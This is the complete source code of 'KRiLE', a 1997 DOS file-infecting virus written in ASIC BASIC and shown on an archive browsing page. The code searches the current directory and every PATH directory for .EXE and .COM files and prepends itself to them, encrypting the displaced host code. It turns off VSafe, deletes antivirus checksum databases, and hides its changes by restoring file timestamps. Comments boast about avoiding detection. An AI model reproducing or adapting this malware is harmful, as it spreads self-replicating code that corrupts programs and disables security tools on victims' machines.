home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / CASIOCOL.ZIP / KRILE1.ZIP / SOURCE.ZIP / KRILE.ASI < prev    next >
Encoding:
Text File  |  1997-11-20  |  10.4 KB  |  511 lines

  1. dim virus_data(4540)
  2. dim host_data(4540)
  3. call sub"Criterror!"
  4. virus_sig$="1234"
  5. randomize
  6. exe$="*.exe"
  7. com$="*.com"
  8. killfil1$="anti-vir.dat"
  9. killfil2$="chklist.ms"
  10. killfil3$="chklist.cps"
  11. krilesig1$="■KRiLE■ v1.0 - It's time for revenge! coded by RAiD UsA [SLAM]97"
  12. notouch$="Command|staRt|emm386|mscdex|explorer|mouse|smartdrv|setver|dos4gw"
  13. vsafe_stats=0
  14. gosub vsafe_toggle:
  15. vsafe_stats=cx
  16. call sub "exename" hostname$
  17. yourparm$=command$
  18. yourparm$=ltrim$(yourparm$)
  19. yourparm$=rtrim$(yourparm$)
  20. yourparm$=" "+yourparm$
  21.  
  22. rem Time to decrypt our little family of strings
  23. temp$=killfil1$
  24. gosub decode_mess:
  25. killfil1$=temp$
  26.  
  27. temp$=killfil2$
  28. gosub decode_mess:
  29. killfil2$=temp$
  30.  
  31. temp$=killfil3$
  32. gosub decode_mess:
  33. killfil3$=temp$
  34. temp$=krilesig1$
  35. gosub decode_mess:
  36. krilesig1$=temp$
  37.  
  38. temp$=notouch$
  39. gosub decode_mess:
  40. notouch$=temp$
  41.  
  42. temp$=exe$
  43. gosub decode_mess:
  44. exe$=temp$
  45.  
  46. temp$=Com$
  47. gosub decode_mess:
  48. com$=temp$
  49.  
  50. gosub chksum_die:
  51. filename$=hostname$
  52. hostsize&=filelen(filename$)
  53. virus_size=4537
  54. virus_size&=4537&
  55. gosub get_attr:
  56. oldattr=newattr
  57. newattr=0
  58. gosub set_attr:
  59. gosub open_file:
  60. bytesize=virus_size
  61. dx=varptr(virus_data(0))
  62. gosub read_file:
  63. gosub close_file:
  64. newattr=oldattr
  65. gosub set_attr:
  66.  
  67. rem Ok, we have an image loaded, let's scan the current directory
  68. rem for use-able hosts. We also deal with any checksum files during
  69. rem this scan.
  70. gosub cur_dir:
  71.  
  72.  
  73. rem Ok, now were going to target files along the path :)
  74.      for n=0 to 100
  75.           call sub "path", n, virupath$
  76.           i=LEN(virupath$)
  77.           if i=0 then done:
  78.           b$=right$(virupath$,1)
  79.         if b$<>"\" then
  80.         virupath$=virupath$+"\"
  81.         endif
  82.         rem Before we infect, trash checksum files
  83.         gosub chksum_die:
  84.         out1$=exe$
  85.         out2$=com$
  86.         proc$=virupath$+out1$
  87.         gosub start_virus:
  88.         proc$=virupath$+out2$
  89.         gosub start_virus:
  90.         next n
  91.  
  92.  
  93.  
  94. done:
  95. filename$=hostname$
  96. hostsize&=filelen(filename$)
  97. gosub get_attr:
  98. oldattr=newattr
  99. newattr=0
  100. gosub set_attr:
  101. gosub open_file:
  102. gosub get_fdt:
  103. hosttemp&=hostsize&-virus_size&
  104. move_way&=hosttemp&
  105. gosub move_file_pointer:
  106. bytesize=virus_size
  107. dx=varptr(host_data(0))
  108. gosub read_file:
  109. move_way&=0&
  110. gosub move_file_pointer:
  111. gosub cypher_host:
  112. dx=varptr(host_data(0))
  113. bytesize=virus_size
  114. gosub write_file:
  115. gosub set_fdt:
  116. gosub close_file:
  117. gosub strip_garbage:
  118. newattr=oldattr
  119. gosub set_attr:
  120.  
  121. rem Ok, siren anyone?
  122. rem a value of 256 ensures the siren is rare, which means this
  123. rem virus won't be detected right off the bat. No sense calling
  124. rem attention to ourselves too soon. :)
  125. a=rnd(0)
  126. a=a mod 256
  127. a=a+1
  128. if a=19 then
  129. gosub siren:
  130. endif
  131.  
  132. call hostname$, yourparm$
  133. r=vsafe_stats
  134. vsafe_stats=0
  135. gosub vsafe_toggle:
  136. vsafe_stats=r
  137. filename$=hostname$
  138.  
  139. rem Let's make sure we don't accidently infect the host a second
  140. rem time. Happens rarely, but a good safety precaution anyways.
  141. rem Besides, doesn't eat much more code space.
  142. gosub infect_check:
  143. if infected=0 then
  144. gosub lets_infect:
  145. endif
  146.  
  147. rem Check the current directory again, Host might have created
  148. rem some new targets. pkunzip.exe being a good example. Note: This
  149. rem allows my virus to resemble TSR based viruses somewhat. <G>
  150. gosub cur_dir:
  151.  
  152. gosub vsafe_toggle:
  153. a=rnd(0)
  154. a=a mod 256
  155. a=a+1
  156. if a=19 then
  157. gosub say_hi:
  158. endif
  159.  
  160. rem The end has been reached, return to operating system or calling
  161. rem program.
  162. end
  163.  
  164. start_virus:
  165. errcode=0
  166. attr=6
  167. kewl=0
  168.        CALL SUB "FindFirstF" proc$ Attr ErrCode
  169.        WHILE ErrCode = 0
  170.           CALL SUB "GetNameF" FileName$
  171.   filename$=virupath$+filename$
  172.   gosub infect_check:
  173. if infected=0 then
  174. gosub lets_infect:
  175. endif
  176.          CALL SUB "FindNextF" ErrCode
  177.          if kewl>4 then
  178.          errcode=1
  179.          endif
  180.    WEND
  181.  
  182. return
  183.  
  184. Lets_infect:
  185. hostsize&=filelen(filename$)
  186. gosub get_attr:
  187. oldattr=newattr
  188. newattr=0
  189. gosub set_attr:
  190. gosub open_file:
  191. gosub get_fdt:
  192. bytesize=virus_size
  193. dx=varptr(host_data(0))
  194. gosub read_file:
  195. move_way&=0&
  196. gosub move_file_pointer:
  197. bytesize=virus_size
  198. dx=varptr(virus_data(0))
  199. gosub write_file:
  200. move_way&=hostsize&
  201. gosub move_file_pointer:
  202. gosub cypher_host:
  203. dx=varptr(host_data(0))
  204. bytesize=virus_size
  205. gosub write_file:
  206. gosub set_fdt:
  207. kewl=kewl+1
  208. gosub close_file:
  209. newattr=oldattr
  210. gosub set_attr:
  211. return
  212.  
  213. rem miscallenous file i/o routines beyond this point. Boring to  look
  214. rem at.:)
  215.  
  216. get_attr:
  217. AX = &HEX4300
  218. DX = VARPTR(Filename$)
  219. CX = NewAttr
  220. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  221. return
  222.  
  223. set_attr:
  224. AX = &HEX4301
  225. DX = VARPTR(Filename$)
  226. CX = NewAttr
  227. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  228. return
  229.  
  230. vsafe_toggle:
  231. ax=&hexfa02
  232. dx=&hex5945
  233. bx=vsafe_stats
  234. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  235. return
  236.  
  237. get_fdt:
  238. if file_handle>4 then
  239. AX=&HEX5700
  240. BX=FILE_HANDLE
  241. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  242. NEWDATE=CX
  243. NEWTIME=DX
  244. endif
  245. RETURN
  246.  
  247. set_fdt:
  248. if file_handle>4 then
  249. AX=&HEX5701
  250. BX=FILE_HANDLE
  251. CX=NEWDATE
  252. DX=NEWTIME
  253. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  254. endif
  255. RETURN
  256.  
  257. rem DOS int file i/o driven code beyond this point :)
  258.  
  259. rem ax=&hex3d00
  260. rem ax opens file for read in this mode :-)
  261. rem ax=&hex3d01
  262. rem ax opens file for write in this mode :-)
  263. rem ax=&hex3d02
  264. rem ax opens file for read/write access :) hehehe
  265.  
  266. open_file:
  267. AX=&HEX3D02
  268. DX = VARPTR(Filename$)
  269. INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA)
  270. file_handle=ax
  271. return
  272.  
  273. write_file:
  274. rem this routine will write selected bytes at whatever current position
  275. rem from whatever buffer i choose into the file.
  276. rem if the routine did not write all data ax will not equal cx upon
  277. rem return from int call.
  278. rem define dx register before calling this routine to point to the
  279. rem memory address of the buffer area you want to write from. like so:
  280. rem dx=varptr(buffer(0))
  281. rem cx is how many bytes to write :)
  282. if file_handle>4 then
  283. ax=&hex4000
  284. bx=file_handle
  285. cx=bytesize
  286. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  287. byteswritten=ax
  288. endif
  289. return
  290.  
  291. read_file:
  292. rem as the name implies, it reads bytes into a buffer. :-)
  293. rem as with write_file, you need to predefine the dx register for the
  294. rem buffer where you want the info stored. Like so: dx=varptr(buffer(0))
  295. rem if you don't, this routine will not work, or will overwrite some
  296. rem other section of memory. And for virus coding, this is very bad! :)
  297. rem cx register is how many bytes to read :)
  298. if file_handle>4 then
  299. ax=&hex3f00
  300. bx=file_handle
  301. cx=bytesize
  302. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  303. bytesread=ax
  304. endif
  305. return
  306.  
  307. close_file:
  308. rem This routine will close the selected file.
  309. rem do not try to close handle 2, very nasty... :-(
  310. if file_handle>4 then
  311. ax=&hex3e00
  312. bx=file_handle
  313. int86(&hex21,ax,bx,na,na,na,na,na,na,na)
  314. endif
  315. return
  316.  
  317. move_file_pointer:
  318. rem Moves file pointer from start of file to whereever I wanna go
  319. rem Routine called is patched(hacked) from asilib.lib
  320. method=0
  321. call sub "fseek" file_handle, move_way&, method, errcode
  322. return
  323.  
  324. cypher_host:
  325. for x=0 to virus_size
  326. a=host_data(x)
  327. ax=a
  328. bx=x
  329. SETREGS (AX,BX,NA,NA,NA,NA,NA,NA,NA)
  330. CODE &HEX31, &HEXD8
  331. GETREGS (AX,NA,NA,NA,NA,NA,NA,NA,NA)
  332. host_data(x)=ax
  333. next x
  334. return
  335.  
  336. infect_check:
  337. rem routine checks for files to avoid, size validation and to make
  338. rem sure the file is not already infected. If any of the routines
  339. rem return infected=1 then the rest of the file  i/o does not
  340. rem occur (saves a few miliseconds i/o time)
  341. infected=0
  342. gosub do_not_touch:
  343. if infected=0 then
  344. gosub size_check:
  345. endif
  346. if infected=0 then
  347. gosub prev_check:
  348. endif
  349. return
  350.  
  351. prev_check:
  352. rem Is this file already infected?
  353. gosub get_attr:
  354. newattr=oldattr
  355. newattr=0
  356. gosub set_attr:
  357. sig$="    "
  358. gosub open_file:
  359. move_way&=28
  360. gosub move_file_pointer:
  361. dx=varptr(sig$)
  362. bytesize=4
  363. gosub read_file:
  364. gosub close_file:
  365. newattr=oldattr
  366. gosub set_attr:
  367. if sig$=virus_sig$ then
  368. infected=1
  369. endif
  370. if file_handle<5 then
  371. rem We couldn't open the damn file to check, assume it is indeed
  372. rem infected. and let's not fool with it. :)
  373. infected=1
  374. endif
  375.  
  376. return
  377.  
  378. strip_garbage:
  379. open"r",1,filename$
  380. a=filepos(1,hosttemp&)
  381. print #1,"" NONULL
  382. CLOSE 1
  383. gosub open_file:
  384. gosub set_fdt:
  385. gosub close_file:
  386. return
  387.  
  388. do_not_touch:
  389. rem Make sure the following files are NOT infected or
  390. rem otherwise tampered with.
  391. test$=filename$
  392. test$=ucase$(test$)
  393. test=len(test$)
  394. test=test-4
  395. test$=left$(test$,test)
  396. a$=ucase$(notouch$)
  397. b=instr(a$,test$)
  398. if b>0 then
  399. infected=1
  400. endif
  401. return
  402.  
  403. size_check:
  404. rem make sure the target file is larger then our virus
  405. rem if it's not, we must not bother to infect it.
  406. a&=filelen(filename$)
  407. if a&<virus_size& then
  408. rem file is  too small
  409. infected=1
  410. endif
  411. return
  412.  
  413. chksum_die:
  414. rem this kills chksum type files with a few simple calls
  415. rem setting toast to killfil1$ 2 and 3 respectively
  416. rem also cuts down on virus size.
  417. ar$=filename$
  418. rem above code stores original filename
  419. toast$=killfil1$
  420. gosub waste:
  421. toast$=killfil2$
  422. gosub waste:
  423. toast$=killfil3$
  424. gosub waste:
  425. filename$=ar$
  426. return
  427.  
  428. decode_mess:
  429. output$=""
  430. rem This routine decrypts our tables in the beginning to useable material
  431. rem For run-time use only. The data in the exe/com is not decrypted!
  432. r=len(temp$)
  433. for x=1 to r
  434. a$=mid$(temp$,x,1)
  435. a=asc(a$)
  436. a=a+127
  437. a$=chr$(a)
  438. output$=output$+a$
  439. next x
  440. temp$=output$
  441. return
  442.  
  443. say_hi:
  444. rem say our greeting
  445. print krilesig1$
  446.  
  447. rem off with the damn cursor
  448. REM turn crsr off by positioning off screen
  449. REM ASIC leaves it on for some reaosn ALL the time!
  450. AX=&HEX0200
  451. BX=0
  452. DX=25*256
  453. INT86 (&HEX10,AX,BX,NA,DX,NA,NA,NA,NA,NA)
  454.  
  455. rem pause for 5 seconds
  456. REM (5 * 18.2 clock-ticks-per-second = 91)
  457. TickOne = TIMER
  458. FOR i = 1 TO a
  459.    TickTwo = TickOne
  460.    WHILE TickTwo = TickOne
  461.        TickOne = TIMER
  462.    WEND
  463. NEXT i
  464. RETURN
  465.  
  466. siren:
  467. rem muahahaha, Siren sounds :-)
  468. gosub up:
  469. gosub down:
  470. gosub up:
  471. gosub down:
  472. gosub up:
  473. gosub down:
  474. return
  475.  
  476. up:
  477. for x=1 to 2000
  478. sound x,1
  479. next x
  480. return
  481.  
  482. down:
  483. for x=1 to 2000
  484. y=2000
  485. y=y-x
  486. sound y,1
  487. next x
  488. return
  489.  
  490. cur_dir:
  491. rem routine searches for and infects files in current directory
  492. rem this routine is used 2 times, so I just decided to make it a
  493. rem subroutine to save bytes.
  494. virupath$=""
  495. gosub chksum_die:
  496. proc$=exe$
  497. gosub start_virus:
  498. proc$=com$
  499. gosub start_virus:
  500. return
  501.  
  502. waste:
  503. rem routine called by chksum_die
  504. rem removes all attributes and deletes requested file.
  505. filename$=virupath$
  506. filename$=filename$+toast$
  507. newattr=0
  508. gosub set_attr:
  509. kill filename$
  510. return
  511.